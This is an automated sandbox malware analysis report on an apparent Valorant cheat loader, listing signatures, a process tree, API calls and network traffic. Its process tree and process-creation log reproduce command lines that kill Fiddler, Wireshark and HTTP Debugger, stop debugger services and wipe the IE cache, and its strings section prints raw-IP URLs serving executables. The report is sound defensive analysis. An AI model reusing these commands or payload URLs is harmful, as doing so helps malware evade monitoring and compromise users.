Edit tour

Windows Analysis Report
lvXRlexBnb.exe

Overview

General Information

Sample name:	lvXRlexBnb.exe renamed because original name is a hash value
Original sample name:	88300378266b63b920d5a064c201100f.exe
Analysis ID:	1538244
MD5:	88300378266b63b920d5a064c201100f
SHA1:	3cd39d22f2eebc57b00e1780d6e9e13688be6efc
SHA256:	e84ca1288f8a7b2e5fd2a57c8896e0125566cd56b718ddbd1b5bdc7e56161faa
Tags:	64exe
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found decision node followed by non-executed suspicious APIs

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Uses Microsoft's Enhanced Cryptographic Provider

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

lvXRlexBnb.exe (PID: 7652 cmdline: "C:\Users\user\Desktop\lvXRlexBnb.exe" MD5: 88300378266B63B920D5A064C201100F)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7712 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7728 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 7800 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7816 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 7844 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7860 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 7892 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7908 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7924 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7940 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7956 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7972 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7988 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 8016 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 8032 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 8076 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 8092 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 8140 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 8156 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 8172 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 8188 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7180 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 3340 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7332 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1840 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7376 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 1984 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3116 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3284 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 4124 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 2288 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7424 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 2352 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WerFault.exe (PID: 3040 cmdline: C:\Windows\system32\WerFault.exe -u -p 7652 -s 944 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: lvXRlexBnb.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for sample

Source: lvXRlexBnb.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B719F3D strtol,strchr,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strchr,_strdup,CertOpenStore,GetLastError,free,free,CryptStringToBinaryA,CertFindCertificateInStore,fopen,fseek,ftell,fseek,malloc,fread,fclose,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,CertCloseStore,calloc,CertFreeCertificateContext,fclose,free,CertFreeCertificateContext,free,calloc,	0_2_00007FF79B719F3D
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B735AD0 CertOpenStore,GetLastError,CertCreateCertificateChainEngine,GetLastError,CertGetCertificateChain,GetLastError,CertGetNameStringA,malloc,CertFindExtension,CryptDecodeObjectEx,CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,CertFreeCertificateChainEngine,CertCloseStore,CertFreeCertificateChain,CertFreeCertificateContext,	0_2_00007FF79B735AD0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73EF30 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF79B73EF30
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73CE40 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_00007FF79B73CE40
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B7363F0 GetLastError,CreateFileA,GetLastError,GetFileSizeEx,GetLastError,malloc,ReadFile,strstr,strstr,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,GetLastError,CloseHandle,free,	0_2_00007FF79B7363F0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B719300 memset,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF79B719300
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B71C220 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF79B71C220
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B719230 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,	0_2_00007FF79B719230
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B71C1C0 CryptAcquireContextA,CryptCreateHash,	0_2_00007FF79B71C1C0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B71C210 CryptHashData,	0_2_00007FF79B71C210

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: -----BEGIN PUBLIC KEY-----		0_2_00007FF79B6FF0E0
Source: lvXRlexBnb.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

0_2_00007FF79B728B00

Source: unknown

HTTPS traffic detected: 172.67.72.57:443 -> 192.168.2.8:49708 version: TLS 1.2

Source: lvXRlexBnb.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\Loader Valorant Plus\x64\Release\EpicGames.pdb source: lvXRlexBnb.exe

Source: global traffic

HTTP traffic detected: POST /api/1.1/ HTTP/1.1Host: keyauth.winAccept: */*Content-Length: 58Content-Type: application/x-www-form-urlencoded

Source: Joe Sandbox View

IP Address: 172.67.72.57 172.67.72.57

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B705CF0 recv,WSAGetLastError,

0_2_00007FF79B705CF0

Source: global traffic

DNS traffic detected: DNS query: keyauth.win

Source: unknown

HTTP traffic detected: POST /api/1.1/ HTTP/1.1Host: keyauth.winAccept: */*Content-Length: 58Content-Type: application/x-www-form-urlencoded

Source: lvXRlexBnb.exe	String found in binary or memory: http://185.101.104.122/plushvciforabronkz.exe
Source: lvXRlexBnb.exe	String found in binary or memory: http://185.101.104.122/plushvciforabronkz.exeC:
Source: lvXRlexBnb.exe	String found in binary or memory: http://185.101.104.122/plushvcionbronkz.exe
Source: lvXRlexBnb.exe	String found in binary or memory: http://185.101.104.122/plushvcionbronkz.exeC:
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.38.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: Amcache.hve.38.dr	String found in binary or memory: http://upx.sf.net
Source: lvXRlexBnb.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: lvXRlexBnb.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/
Source: lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/ace
Source: lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/pace
Source: lvXRlexBnb.exe, 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://keyauth.win/api/1.2/
Source: lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.2/FILE_W

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 172.67.72.57:443 -> 192.168.2.8:49708 version: TLS 1.2

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B73CE40 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

0_2_00007FF79B73CE40

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B707CC0	0_2_00007FF79B707CC0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B706980	0_2_00007FF79B706980
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B708980	0_2_00007FF79B708980
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B719F3D	0_2_00007FF79B719F3D
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6F1530	0_2_00007FF79B6F1530
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B70F590	0_2_00007FF79B70F590
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B717CC0	0_2_00007FF79B717CC0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6EEB70	0_2_00007FF79B6EEB70
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6EABFD	0_2_00007FF79B6EABFD
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B735AD0	0_2_00007FF79B735AD0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6F8990	0_2_00007FF79B6F8990
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B7249F0	0_2_00007FF79B7249F0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B719FFC	0_2_00007FF79B719FFC
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B71A005	0_2_00007FF79B71A005
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6E1000	0_2_00007FF79B6E1000
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73EEC0	0_2_00007FF79B73EEC0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73CE40	0_2_00007FF79B73CE40
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6EDDE0	0_2_00007FF79B6EDDE0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B7153E0	0_2_00007FF79B7153E0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B703330	0_2_00007FF79B703330
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6ED250	0_2_00007FF79B6ED250
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B72D220	0_2_00007FF79B72D220
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B709840	0_2_00007FF79B709840
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B712890	0_2_00007FF79B712890
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6E973B	0_2_00007FF79B6E973B
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B7315B0	0_2_00007FF79B7315B0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B71C5D0	0_2_00007FF79B71C5D0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B6E955D	0_2_00007FF79B6E955D
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B729520	0_2_00007FF79B729520
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B700600	0_2_00007FF79B700600
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B730580	0_2_00007FF79B730580

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B6F3030 appears 49 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B70A410 appears 34 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B705970 appears 378 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B708E80 appears 35 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B700240 appears 70 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B70A330 appears 33 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B70A2A0 appears 37 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B705AF0 appears 323 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B708DB0 appears 46 times
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: String function: 00007FF79B740236 appears 47 times

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7652 -s 944

Source: classification engine

Classification label: mal56.winEXE@69/24@1/2

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B6F1D10 GetLastError,_errno,FormatMessageA,strchr,strncpy,_errno,_errno,GetLastError,SetLastError,

0_2_00007FF79B6F1D10

Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7652
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\d68c1825-9002-4f02-848d-2a0ace68fe99

Jump to behavior

Source: lvXRlexBnb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: lvXRlexBnb.exe

ReversingLabs: Detection: 28%

Source: lvXRlexBnb.exe

String found in binary or memory: iphlpapi.dllif_nametoindexkernel32LoadLibraryExA\/AddDllDirectory0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ(nil)(nil)I32I64%ld.%ld$@

Source: unknown	Process created: C:\Users\user\Desktop\lvXRlexBnb.exe "C:\Users\user\Desktop\lvXRlexBnb.exe"
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7652 -s 944
